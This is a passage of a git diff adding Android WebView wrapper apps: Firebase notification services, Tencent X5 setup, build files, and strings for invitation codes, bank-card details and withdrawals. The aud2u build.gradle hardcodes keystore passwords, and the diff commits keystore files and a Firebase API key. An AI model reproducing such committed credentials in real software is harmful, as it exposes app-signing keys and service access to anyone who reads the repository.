channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } + + private void showNotification(String title, String body) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.putExtra("message", body); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + body = messageInfo.getContent(); + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } +} diff --git a/ak44/src/main/java/com/xyz/ak44/WebApplication.java b/ak44/src/main/java/com/xyz/ak44/WebApplication.java new file mode 100644 index 0000000..d49c4d8 --- /dev/null +++ b/ak44/src/main/java/com/xyz/ak44/WebApplication.java @@ -0,0 +1,35 @@ +package com.xyz.ak44; + +import android.app.Application; +import android.content.Context; +import com.tencent.smtt.export.external.TbsCoreSettings; +import com.tencent.smtt.sdk.QbSdk; +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + HashMap map = new HashMap(); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true); + QbSdk.initTbsSettings(map); + QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() { + @Override + public void onCoreInitFinished() { + + } + + @Override + public void onViewInitFinished(boolean b) { + + } + }); + QbSdk.setDownloadWithoutWifi(true); + } +} diff --git a/ak44/src/main/res/drawable-anydpi/ic_action_back.xml b/ak44/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/ak44/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/ak44/src/main/res/drawable-hdpi/ic_action_back.png b/ak44/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/ak44/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/ak44/src/main/res/drawable-mdpi/ic_action_back.png b/ak44/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/ak44/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/ak44/src/main/res/drawable-v24/ic_launcher_foreground.xml b/ak44/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/ak44/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/ak44/src/main/res/drawable-xhdpi/ic_action_back.png b/ak44/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/ak44/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/ak44/src/main/res/drawable-xxhdpi/ic_action_back.png b/ak44/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/ak44/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/ak44/src/main/res/drawable/big_bg.xml b/ak44/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..f51fb19 --- /dev/null +++ b/ak44/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/ak44/src/main/res/drawable/ic_launcher_background.xml b/ak44/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/ak44/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ak44/src/main/res/drawable/input_bg.xml b/ak44/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/ak44/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/ak44/src/main/res/drawable/pass_word_bg.xml b/ak44/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/ak44/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/ak44/src/main/res/drawable/pass_word_bg1.xml b/ak44/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..d10d780 --- /dev/null +++ b/ak44/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/ak44/src/main/res/drawable/pass_word_bg2.xml b/ak44/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/ak44/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/ak44/src/main/res/drawable/shape_btn_bg.xml b/ak44/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/ak44/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/ak44/src/main/res/drawable/shape_dialog_bg2.xml b/ak44/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/ak44/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/ak44/src/main/res/drawable/shape_dialog_bg3.xml b/ak44/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/ak44/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/ak44/src/main/res/drawable/shape_dialog_bg_new.xml b/ak44/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/ak44/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/ak44/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/ak44/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/ak44/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/ak44/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/ak44/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/ak44/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/ak44/src/main/res/mipmap-hdpi/ic_empty.png b/ak44/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/ak44/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/ak44/src/main/res/mipmap-hdpi/ic_pull_down.png b/ak44/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/ak44/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/ak44/src/main/res/mipmap-xhdpi/ic_close.png b/ak44/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/ak44/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/ak44/src/main/res/mipmap-xhdpi/ic_menu.png b/ak44/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/ak44/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/ak44/src/main/res/mipmap-xxhdpi/app_logo.png b/ak44/src/main/res/mipmap-xxhdpi/app_logo.png new file mode 100644 index 0000000..be224cd Binary files /dev/null and b/ak44/src/main/res/mipmap-xxhdpi/app_logo.png differ diff --git a/ak44/src/main/res/values-en/strings.xml b/ak44/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..0d60963 --- /dev/null +++ b/ak44/src/main/res/values-en/strings.xml @@ -0,0 +1,51 @@ + + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/ak44/src/main/res/values-night/themes.xml b/ak44/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..89e12d2 --- /dev/null +++ b/ak44/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/ak44/src/main/res/values/colors.xml b/ak44/src/main/res/values/colors.xml new file mode 100644 index 0000000..599c694 --- /dev/null +++ b/ak44/src/main/res/values/colors.xml @@ -0,0 +1,18 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + #39cb96 + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + \ No newline at end of file diff --git a/ak44/src/main/res/values/strings.xml b/ak44/src/main/res/values/strings.xml new file mode 100644 index 0000000..772fa75 --- /dev/null +++ b/ak44/src/main/res/values/strings.xml @@ -0,0 +1,74 @@ + + AK44 + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/ak44/src/main/res/values/themes.xml b/ak44/src/main/res/values/themes.xml new file mode 100644 index 0000000..efa2168 --- /dev/null +++ b/ak44/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/ak44/src/main/res/xml/app_updater_paths.xml b/ak44/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/ak44/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/ak44/src/main/res/xml/network_security_config.xml b/ak44/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/ak44/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/ak44/src/main/res/xml/provider_paths.xml b/ak44/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/ak44/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/ak44/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/ak44/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/ak44/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/aud2u/.gitignore b/aud2u/.gitignore new file mode 100644 index 0000000..956c004 --- /dev/null +++ b/aud2u/.gitignore @@ -0,0 +1,2 @@ +/build +/release \ No newline at end of file diff --git a/aud2u/build.gradle b/aud2u/build.gradle new file mode 100644 index 0000000..9275d3e --- /dev/null +++ b/aud2u/build.gradle @@ -0,0 +1,78 @@ +plugins { + id 'com.android.application' + id 'com.google.gms.google-services' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.dskj.aud2u36" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { + debug { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + release { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "aud2u" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation project(path: ':base_no_music') +} \ No newline at end of file diff --git a/aud2u/dskjweb.jks b/aud2u/dskjweb.jks new file mode 100644 index 0000000..a303350 Binary files /dev/null and b/aud2u/dskjweb.jks differ diff --git a/aud2u/google-services.json b/aud2u/google-services.json new file mode 100644 index 0000000..450b3cb --- /dev/null +++ b/aud2u/google-services.json @@ -0,0 +1,29 @@ +{ + "project_info": { + "project_number": "286548718844", + "project_id": "aud2u36", + "storage_bucket": "aud2u36.firebasestorage.app" + }, + "client": [ + { + "client_info": { + "mobilesdk_app_id": "1:286548718844:android:e9e31b15a0b56eee261379", + "android_client_info": { + "package_name": "com.dskj.aud2u36" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyDgWskBorLbRExanSKZjPZhLpX38Gw2VCQ" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + } + ], + "configuration_version": "1" +} \ No newline at end of file diff --git a/aud2u/ppn.jks b/aud2u/ppn.jks new file mode 100644 index 0000000..5898029 Binary files /dev/null and b/aud2u/ppn.jks differ diff --git a/aud2u/proguard-rules.pro b/aud2u/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/aud2u/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/aud2u/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/aud2u/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/aud2u/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/aud2u/src/main/AndroidManifest.xml b/aud2u/src/main/AndroidManifest.xml new file mode 100644 index 0000000..cfad220 --- /dev/null +++ b/aud2u/src/main/AndroidManifest.xml @@ -0,0 +1,112 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/aud2u/src/main/java/com/dskj/aud2u/MainActivity.java b/aud2u/src/main/java/com/dskj/aud2u/MainActivity.java new file mode 100644 index 0000000..738d1ac --- /dev/null +++ b/aud2u/src/main/java/com/dskj/aud2u/MainActivity.java @@ -0,0 +1,63 @@ +package com.dskj.aud2u; + + +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.graphics.Color; +import android.os.Bundle; + +import androidx.annotation.NonNull; + +import com.bumptech.glide.Glide; +import com.google.android.gms.tasks.OnCompleteListener; +import com.google.android.gms.tasks.Task; +import com.web.base.LogUtils; +import com.web.base.MainActivity2; +import com.google.firebase.messaging.FirebaseMessaging; + +public class MainActivity extends MainActivity2 { + + @Override + protected void onCreate(Bundle savedInstanceState) { + userId = 24; + saveInt(MainActivity.this,"user_code",userId); + saveInt(MainActivity.this,"version_code",getVersion()); + com.web.base.MainActivity.saveString(this, "base_url","https://www.aud2u.com/"); + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#101010"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#2b2b2b"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity.this,"is_white",1); + super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色 + setBackDrawables(R.drawable.big_bg); + setImageView(true); +// showTopV1.setImageResource(R.mipmap.start_gifs); + //订阅主题 + FirebaseMessaging.getInstance().subscribeToTopic("demo") + .addOnCompleteListener(new OnCompleteListener() { + @Override + public void onComplete(@NonNull Task task) { + String msg = "Subscribed"; + if (!task.isSuccessful()) { + msg = "Subscribe failed"; + } + LogUtils.i("结果:"+msg); + } + }); +// getWindow().getDecorView().setBackgroundResource(Color.parseColor("#01052a")); +// Glide.with(MainActivity.this).load(R.mipmap.load_img).into(showTopV1); + } + + public int getVersion(){ + try { + PackageManager packageManager = getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; + } + } +} diff --git a/aud2u/src/main/java/com/dskj/aud2u/MyFirebaseMessageingService.java b/aud2u/src/main/java/com/dskj/aud2u/MyFirebaseMessageingService.java new file mode 100644 index 0000000..ec6aee6 --- /dev/null +++ b/aud2u/src/main/java/com/dskj/aud2u/MyFirebaseMessageingService.java @@ -0,0 +1,125 @@ +package com.dskj.aud2u; + +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.PendingIntent; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.os.Build; +import androidx.annotation.NonNull; +import androidx.core.app.NotificationCompat; +import com.google.firebase.messaging.FirebaseMessagingService; +import com.google.firebase.messaging.RemoteMessage; +import com.google.gson.Gson; +import com.web.base.GsonUtils; +import com.web.base.MessageInfo; +import java.util.Map; +import java.util.Random; + +public class MyFirebaseMessageingService extends FirebaseMessagingService { + + public MyFirebaseMessageingService() { + } + + @Override + public void onMessageReceived(@NonNull RemoteMessage remoteMessage) { + super.onMessageReceived(remoteMessage); + Map serviceData = remoteMessage.getData(); //后台推送数据 + if (serviceData != null && serviceData.containsKey("message")) { + String value = serviceData.get("message"); + Gson gson = new Gson(); + MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class); + showNotification(messageInfo); + } else { + //收到通知 创建notify + if (remoteMessage.getNotification() != null) { + showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); + } + } + } + + private void showNotification(MessageInfo messageInfo) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + notifyIntent.putExtra("message", messageInfo); + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } + + private void showNotification(String title, String body) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.putExtra("message", body); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + body = messageInfo.getContent(); + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } +} diff --git a/aud2u/src/main/java/com/dskj/aud2u/WebApplication.java b/aud2u/src/main/java/com/dskj/aud2u/WebApplication.java new file mode 100644 index 0000000..0d6faa5 --- /dev/null +++ b/aud2u/src/main/java/com/dskj/aud2u/WebApplication.java @@ -0,0 +1,35 @@ +package com.dskj.aud2u; + +import android.app.Application; +import android.content.Context; +import com.tencent.smtt.export.external.TbsCoreSettings; +import com.tencent.smtt.sdk.QbSdk; +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + HashMap map = new HashMap(); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true); + QbSdk.initTbsSettings(map); + QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() { + @Override + public void onCoreInitFinished() { + + } + + @Override + public void onViewInitFinished(boolean b) { + + } + }); + QbSdk.setDownloadWithoutWifi(true); + } +} diff --git a/aud2u/src/main/res/drawable-anydpi/ic_action_back.xml b/aud2u/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/aud2u/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/aud2u/src/main/res/drawable-hdpi/ic_action_back.png b/aud2u/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/aud2u/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/aud2u/src/main/res/drawable-mdpi/ic_action_back.png b/aud2u/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/aud2u/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/aud2u/src/main/res/drawable-v24/ic_launcher_foreground.xml b/aud2u/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/aud2u/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/aud2u/src/main/res/drawable-xhdpi/ic_action_back.png b/aud2u/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/aud2u/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git 